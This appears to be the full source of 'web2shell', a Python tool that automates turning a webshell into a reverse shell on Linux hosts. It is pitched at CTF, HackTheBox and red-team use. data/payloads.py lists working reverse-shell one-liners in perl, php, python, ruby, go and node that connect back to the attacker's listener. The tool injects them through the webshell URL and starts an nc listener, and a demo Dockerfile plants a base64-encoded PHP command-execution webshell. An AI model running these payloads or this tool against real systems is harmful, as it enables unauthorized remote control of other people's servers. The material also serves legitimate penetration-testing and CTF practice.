├── .gitignore ├── .pre-commit-config.yaml ├── LICENSE ├── README.md ├── data ├── payloads.py └── types.py ├── demo ├── Dockerfile └── README.md ├── modules ├── commands.py ├── connection.py ├── flags.py ├── local.py ├── logger.py └── transform.py ├── requirements.txt └── web2shell.py /.gitignore: -------------------------------------------------------------------------------- 1 | **pycache** 2 | .vscode* 3 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | repos: 2 | - repo: https://github.com/pre-commit/pre-commit-hooks 3 | rev: v4.5.0 4 | hooks: 5 | - id: trailing-whitespace 6 | - id: end-of-file-fixer 7 | - id: check-yaml 8 | - id: check-added-large-files 9 | args: ['--maxkb=2000'] 10 | - repo: https://github.com/psf/black 11 | rev: 23.11.0 12 | hooks: 13 | - id: black 14 | args: ["--line-length", "140"] 15 | - repo: https://github.com/pycqa/flake8 16 | rev: 6.1.0 17 | hooks: 18 | - id: flake8 19 | args: ["--ignore=E722,E501"] 20 | - repo: https://github.com/pycqa/isort 21 | rev: 5.12.0 22 | hooks: 23 | - id: isort 24 | args: ["--profile", "black", "--filter-files"] 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Evan Edwards 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # web2shell 2 | 3 | A Python program used to automate converting webshells into reverse shells. If you regularly do CTF, HTB, or red teaming you've probably spent a good chunk of time testing payloads to convert a webshell into a reverse shell. This tool aims to simplify this process. 4 | 5 | Credit for the reverse shells goes to [PayloadAllTheThings.](https://github.com/swisskyrepo/PayloadsAllTheThings) 6 | 7 | ## Usage 8 | 9 | ``` 10 | usage: web2shell [-h] [-v] [-i INTERFACE] [--force] [--ip IP] [--port PORT] [--nc NC] [--only [ONLY ...]] url 11 | 12 | Automate converting webshells into reverse shells. 13 | 14 | positional arguments: 15 | url webshell URL, replace the provided command with "SHELL". ex: https://example.com/shell.php?cmd=SHELL 16 | 17 | options: 18 | -h, --help show this help message and exit 19 | -v, --verbose verbose command output 20 | -i INTERFACE, --interface INTERFACE 21 | the interface to use when listening for a remote shell. If none is provided you will be prompted to select one. 22 | --force force command execution even if initial check is invalid 23 | --ip IP IP address of your own listener (skips listener setup if both IP and port are set) 24 | --port PORT port of your own listener 25 | --nc NC path to local nc binary 26 | --only [ONLY ...] list of bins to test, ignores all others. ex: --only python php node 27 | ``` 28 | 29 | Providing an IP and port will cause the program to skip the listener setup and assume you already have netcat/a comparable listener running at that address. 30 | 31 | Please note: this program currently is only intended to be used on and against Linux machines. 32 | 33 | ## Requirements 34 | 35 | Install the required python modules with pip (`pip3 install -r requirements.txt`.) You will need a local copy of `nc`. The program will attempt to find it automatically. If it can't (it might not be in your `$PATH`), please specify the path to the binary with the `--nc` flag. 36 | 37 | ## Adding New Payloads 38 | 39 | The included payloads have all been tested on a simple webshell and work. If you'd like to add more, please feel free. 40 | 41 | - Edit the `data/payloads.py` file. 42 | - Add a new object to the `payloads` dict. The `key` should be the name of the bin, and the value should be a `list` object of payloads. 43 | - Replace all instances of the reverse `IP` with `IPHERE`, the port with `PORTHERE`, and the binary name with `PATHHERE`. If the payload specifies the shell replace it with `SHELLHERE`. 44 | 45 | ## Example 46 | 47 | Example execution on local Docker image (see `demo/README.md`) 48 | 49 | ``` 50 | [evan@ejedev web2shell]$ python3 web2shell.py http://127.0.0.1:8080/cmd.php?cmd=SHELL 51 | 52 | o o o o 53 | O .oOOo. O O O 54 | O O o o o 55 | o o O O O 56 | 'o O .oOo. OoOo. O' .oOo OoOo. .oOo. o o 57 | O o o OooO' O o O `Ooo. o o OooO' O O 58 | o O O O o O .O O o O O o o 59 | `Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo 60 | --------------------------------------------------- 61 | v0.1.2 @ejedev 62 | 63 | Verifying commands can be executed... 64 | Available interfaces... 65 | [-] lo 66 | [-] enp4s0 67 | [-] br-3bd00064871f 68 | [-] docker0 69 | [-] br-a01c69609a5e 70 | [-] br-a193929c6ae4 71 | [-] br-aa3534e13396 72 | [-] br-c7551daa06d2 73 | [-] br-2369a8165a53 74 | [-] veth7b49643 75 | No interface provided. Please enter the name of an available interface or 'exit' to quit: 76 | > docker0 77 | docker0 selected. Address to use is 172.17.0.1 78 | Testing ports... 79 | [x] 1025 already in use or unavailable. 80 | [-] 1026 available! 81 | Finding local nc binary... 82 | nc target at /usr/bin/nc 83 | Final connection string will be 172.17.0.1:1026... 84 | Finding bins... 85 | Ncat: Version 7.93 ( https://nmap.org/ncat ) 86 | Ncat: Listening on :::1026 87 | Ncat: Listening on 0.0.0.0:1026 88 | [-] perl found at /usr/bin/perl 89 | [-] php found at /usr/local/bin/php 90 | [-] python3 found at /usr/bin/python3 91 | [-] ruby found at /usr/bin/ruby 92 | [-] go found at /usr/bin/go 93 | [-] node found at /usr/bin/node 94 | Finding shells... 95 | [-] bash found at /usr/bin/bash 96 | [-] sh found at /usr/bin/sh 97 | Executing reverse shell... 98 | Bins to test: 6 99 | Shells to test: 2 100 | [!] Attempting perl payloads for path /usr/bin/perl 101 | Ncat: Connection from 172.17.0.2. 102 | Ncat: Connection from 172.17.0.2:40170. 103 | www-data@849d7a9007c8:/var/www/html$ 104 | ``` 105 | -------------------------------------------------------------------------------- /data/payloads.py: -------------------------------------------------------------------------------- 1 | # Source: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md 2 | bins = { 3 | "perl": [ 4 | 'PATHHERE -e \'use Socket;$i="IPHERE";$p=PORTHERE;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("SHELLHERE -i");};\'', 5 | ], 6 | "php": [ 7 | 'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);exec("SHELLHERE -i <&3 >&3 2>&3");\'', 8 | 'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);shell_exec("SHELLHERE -i <&3 >&3 2>&3");\'', 9 | "PATHHERE -r '$sock=fsockopen(\"IPHERE\",PORTHERE);`SHELLHERE -i <&3 >&3 2>&3`;'", 10 | 'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);system("SHELLHERE -i <&3 >&3 2>&3");\'', 11 | 'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);passthru("SHELLHERE -i <&3 >&3 2>&3");\'', 12 | 'PATHHERE -r \'$sock=fsockopen("IPHERE",PORTHERE);popen("SHELLHERE -i <&3 >&3 2>&3", "r");\'', 13 | ], 14 | "python": [ 15 | 'PATHHERE -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("SHELLHERE")\'', 16 | 'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["SHELLHERE","-i"])\'', 17 | 'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["SHELLHERE","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'', 18 | ], 19 | # TODO Add support for multiple binaries with the same payload list. 20 | "python3": [ 21 | 'PATHHERE -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("SHELLHERE")\'', 22 | 'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["SHELLHERE","-i"])\'', 23 | 'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["SHELLHERE","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'', 24 | ], 25 | "ruby": [ 26 | 'PATHHERE -rsocket -e\'exit if fork;c=TCPSocket.new("IPHERE","PORTHERE");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}\'' 27 | ], 28 | "go": [ 29 | 'export GOCACHE=/tmp; echo \'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IPHERE:PORTHERE");cmd:=exec.Command("SHELLHERE");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && PATHHERE run /tmp/t.go && rm /tmp/t.go' 30 | ], 31 | "node": [ 32 | 'echo \'(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("SHELLHERE", []); var client = new net.Socket(); client.connect(PORTHERE, "IPHERE", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();\' > /tmp/t.js && node /tmp/t.js && rm /tmp/t.js' 33 | ], 34 | } 35 | 36 | shells = [ 37 | "bash", 38 | "sh", 39 | ] 40 | -------------------------------------------------------------------------------- /data/types.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | 3 | 4 | class Status(Enum): 5 | ALERT = "[!]" 6 | ERROR = "[x]" 7 | SUCCESS = "[-]" 8 | VERBOSE = "[*]" 9 | NONE = "" 10 | -------------------------------------------------------------------------------- /demo/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.2.12-apache 2 | 3 | WORKDIR /var/www/html 4 | 5 | RUN echo "PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7IHN5c3RlbSgkY21kKTsgZWNobyAiPC9wcmU+IjsgZGllOyB9Pz4=" | base64 -d > /var/www/html/cmd.php 6 | 7 | RUN apt update 8 | 9 | RUN apt install python3 ruby golang nodejs -y 10 | 11 | EXPOSE 80 12 | 13 | CMD ["apachectl", "-D", "FOREGROUND"] 14 | -------------------------------------------------------------------------------- /demo/README.md: -------------------------------------------------------------------------------- 1 | # web2shell docker demo 2 | 3 | 1. Build the docker image (`docker build . --tag webshell`) 4 | 2. Run the image (`docker run -it -p 8080:80 webshell`) 5 | 3. Use web2shell to secure a remote connection on the docker0 interface (`python3 web2shell.py --interface docker0 http://127.0.0.1:8080/cmd.php?cmd=SHELL`) 6 | 7 | You can test individual shells with the `--only` flag. Please read the help menu for more info. 8 | 9 | Note: This Docker container has the binaries for all supported reverse shells. They are as follows: 10 | 11 | - Perl 12 | - PHP 13 | - Python 14 | - Ruby 15 | - Golang 16 | - NodeJS 17 | -------------------------------------------------------------------------------- /modules/commands.py: -------------------------------------------------------------------------------- 1 | import urllib.parse 2 | 3 | import requests 4 | 5 | from data import payloads, types 6 | from modules import logger, transform 7 | 8 | 9 | def execute(url: str, command: str) -> str: 10 | if "SHELL" not in url: 11 | logger.log("Invalid URL. Please make sure the formatting is correct.") 12 | exit() 13 | command_string = url.replace("SHELL", command) 14 | data = requests.get(command_string) 15 | return data.text 16 | 17 | 18 | def find_bins(url: str, verbose: bool, bins: list, only: list = []) -> list: 19 | valid = [] 20 | for bin in bins: 21 | if len(only) > 0: 22 | if bin not in only: 23 | continue 24 | result = execute(url, f"whereis {bin}") 25 | logger.log(result, types.Status.VERBOSE, True, verbose) 26 | for path in result.split(" "): 27 | if "bin" in path and bin in path: 28 | path = transform.filter_tag(path) 29 | valid.append({bin: path}) 30 | logger.log(f"{bin} found at {path}", types.Status.SUCCESS) 31 | return valid 32 | 33 | 34 | def reverse_connection(valid_bins: list, valid_shells: list, url: str, ip: str, port: int, verbose: bool): 35 | logger.log(f"Bins to test: {len(valid_bins)}") 36 | logger.log(f"Shells to test: {len(valid_shells)}") 37 | for bin in valid_bins: 38 | logger.log(f"Attempting {list(bin.keys())[0]} payloads for path {list(bin.values())[0]}", types.Status.ALERT) 39 | for payload in payloads.bins[list(bin.keys())[0]]: 40 | for shell in valid_shells: 41 | cmd = urllib.parse.quote( 42 | payload.replace("PATHHERE", list(bin.values())[0]) 43 | .replace("IPHERE", ip) 44 | .replace("PORTHERE", str(port)) 45 | .replace("SHELLHERE", list(shell.keys())[0]) 46 | ) 47 | result = execute(url, cmd) 48 | logger.log(result, types.Status.VERBOSE, True, verbose) 49 | 50 | 51 | def verify(url: str, verbose: bool) -> bool: 52 | data = execute(url, "uname -a") 53 | logger.log(data, types.Status.VERBOSE, True, verbose) 54 | return "linux" in data.lower() 55 | -------------------------------------------------------------------------------- /modules/connection.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | from data import types 4 | from modules import logger 5 | 6 | 7 | def get_ip(interfaces: dict, provided_inteface: str) -> str: 8 | logger.log("Available interfaces...") 9 | selected = None 10 | for interface in interfaces: 11 | logger.log(interface, types.Status.SUCCESS) 12 | if provided_inteface == interface: 13 | selected = interface 14 | if selected is None: 15 | logger.log("No interface provided. Please enter the name of an available interface or 'exit' to quit:") 16 | while selected is None: 17 | inputed = input("> ") 18 | if inputed.lower() == "exit": 19 | quit() 20 | else: 21 | if inputed in interfaces: 22 | selected = inputed 23 | logger.log(f"{selected} selected. Address to use is {interfaces[selected][0].address}") 24 | return interfaces[selected][0].address 25 | 26 | 27 | def get_port(ip: str) -> int: 28 | logger.log("Testing ports...") 29 | for port in range(1025, 10000): 30 | try: 31 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 32 | s.bind((ip, port)) 33 | logger.log(f"{port} available!", types.Status.SUCCESS) 34 | s.close() 35 | return port 36 | except: 37 | logger.log(f"{port} already in use or unavailable.", types.Status.ERROR) 38 | return -1 39 | -------------------------------------------------------------------------------- /modules/flags.py: -------------------------------------------------------------------------------- 1 | def setup(parser): 2 | parser.add_argument( 3 | "url", 4 | help='webshell URL, replace the provided command with "SHELL". ex: https://example.com/shell.php?cmd=SHELL', 5 | type=str, 6 | ) 7 | parser.add_argument("-v", "--verbose", help="verbose command output", required=False, action="store_true") 8 | parser.add_argument( 9 | "-i", 10 | "--interface", 11 | help="the interface to use when listening for a remote shell. If none is provided you will be prompted to select one.", 12 | type=str, 13 | required=False, 14 | default="", 15 | ) 16 | parser.add_argument("--force", help="force command execution even if initial check is invalid", required=False, action="store_true") 17 | parser.add_argument( 18 | "--ip", 19 | help="IP address of your own listener (skips listener setup if both IP and port are set)", 20 | type=str, 21 | required=False, 22 | default=None, 23 | ) 24 | parser.add_argument( 25 | "--port", 26 | help="port of your own listener", 27 | type=int, 28 | required=False, 29 | default=None, 30 | ) 31 | parser.add_argument( 32 | "--nc", 33 | help="path to local nc binary", 34 | type=str, 35 | required=False, 36 | default=None, 37 | ) 38 | parser.add_argument( 39 | "--only", 40 | help="list of bins to test, ignores all others. ex: --only python php", 41 | nargs="*", 42 | type=str, 43 | required=False, 44 | default=[], 45 | ) 46 | return parser 47 | -------------------------------------------------------------------------------- /modules/local.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def find_nc(): 5 | data = os.popen("whereis nc").read() 6 | for result in data.split(" "): 7 | if "bin" in result and "nc" in result: 8 | return result 9 | return None 10 | -------------------------------------------------------------------------------- /modules/logger.py: -------------------------------------------------------------------------------- 1 | from data import types 2 | 3 | 4 | def splash(): 5 | print( 6 | """ 7 | o o o o 8 | O .oOOo. O O O 9 | O O o o o 10 | o o O O O 11 | 'o O .oOo. OoOo. O' .oOo OoOo. .oOo. o o 12 | O o o OooO' O o O `Ooo. o o OooO' O O 13 | o O O O o O .O O o O O o o 14 | `Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo 15 | --------------------------------------------------- 16 | v0.1.2 @ejedev 17 | """ 18 | ) 19 | 20 | 21 | def log(message: str, type: types.Status = types.Status.NONE, verbose: bool = False, verbosity: bool = False): 22 | if verbose and not verbosity: 23 | pass 24 | elif type == types.Status.NONE: 25 | print(message) 26 | else: 27 | print(f"{type.value} {message}") 28 | -------------------------------------------------------------------------------- /modules/transform.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | 4 | def filter_tag(result: str) -> str: 5 | untagged = re.sub("<.*?>", "", result) 6 | return re.sub(r"[\n\t\s]*", "", untagged) 7 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.31.0 2 | psutil==5.9.5 3 | pre-commit==3.3.1 4 | -------------------------------------------------------------------------------- /web2shell.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import subprocess 3 | 4 | import psutil 5 | 6 | from data import payloads 7 | from modules import commands, connection, flags, local, logger 8 | 9 | parser = argparse.ArgumentParser( 10 | prog="web2shell", 11 | description="Automate converting webshells into reverse shells.", 12 | ) 13 | parser = flags.setup(parser) 14 | results = parser.parse_args() 15 | logger.splash() 16 | if not results.force: 17 | logger.log("Verifying commands can be executed...") 18 | if not commands.verify(results.url, results.verbose): 19 | logger.log( 20 | "System does not seem to be accepting commands. You can ignore this with --force", 21 | ) 22 | quit() 23 | if results.ip is None and results.port is None: 24 | ip = connection.get_ip(psutil.net_if_addrs(), results.interface) 25 | port = connection.get_port(ip) 26 | if port < 1: 27 | logger.log("No ports available.") 28 | quit() 29 | if results.nc is not None: 30 | nc = results.nc 31 | else: 32 | logger.log("Finding local nc binary...") 33 | nc = local.find_nc() 34 | if nc is None: 35 | logger.log("nc not found. Please specify the path to it with --nc /path/to/bin") 36 | quit() 37 | logger.log(f"nc target at {nc}") 38 | p = subprocess.Popen(f"{nc} -nlvp {port}".split(" "), start_new_session=True) 39 | else: 40 | ip = results.ip 41 | port = results.port 42 | logger.log(f"Final connection string will be {ip}:{port}...") 43 | logger.log("Finding bins...") 44 | bins = commands.find_bins(results.url, results.verbose, list(payloads.bins.keys()), results.only) 45 | logger.log("Finding shells...") 46 | shells = commands.find_bins(results.url, results.verbose, payloads.shells) 47 | if len(bins) < 1: 48 | logger.log("No valid bins found.") 49 | quit() 50 | if len(shells) < 1: 51 | logger.log("No valid shells found. Defaulting to /bin/sh") 52 | shells = ["/bin/sh"] 53 | logger.log("Executing reverse shell...") 54 | commands.reverse_connection(bins, shells, results.url, ip, port, results.verbose) 55 | --------------------------------------------------------------------------------